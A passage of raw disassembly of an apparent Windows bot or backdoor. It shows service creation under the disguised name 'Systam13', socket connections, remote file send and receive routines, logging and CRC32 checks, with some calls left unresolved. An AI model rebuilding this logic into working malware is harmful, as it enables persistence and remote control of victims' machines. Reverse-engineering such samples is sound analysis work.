0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43F618 call dword_43F63C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43F630 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43F5E4 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43F69C push [ebp+var_4] call dword_43F69C push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+4490p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_444340 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_444EC0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_444340[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_444358[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_4313B0 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_444340 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_444EC0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2600000h mov ebx, offset dword_443A34 mov edi, 80h mov esi, offset dword_43FA34 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43FA34 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_443A34 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43FA34 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43FA34 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi call near ptr 25E02EAh nop pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43F61C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43F68C jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43F5D4 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43F644 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43F6E8 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43F6A8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43F6EC test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43F610 cmp eax, esi jnz short loc_40C34B push edi call dword_43F700 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_43C80C push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417078 pop ecx push esi nop call near ptr 25E02EAh loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h nop call near ptr 25F0439h xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43F680 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h nop call near ptr 25F0439h push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 25E02EAh sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Eo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43F668 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43F694 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43F60C push [ebp+var_2E] call dword_43F5A4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43F690 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 2630000h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax call near ptr 2670000h nop mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 push eax call dword_43F664 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43F650 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43F6FC cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43F700 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] nop call near ptr 26B0000h lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 2611183h push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43F6B8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43F680 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] nop call near ptr 2611A31h push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43F6F4 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43F700 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417078 pop ecx push esi nop call near ptr 25E02EAh loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call near ptr 25F048Fh nop lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2630000h cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax call near ptr 2611A31h nop lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43F664 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43F6B8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43F700 push [ebp+var_1C] call sub_417078 pop ecx push 1 nop call near ptr 25E02EAh loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43F700 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+3820o ; sub_40EE72+3F6Fo var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h 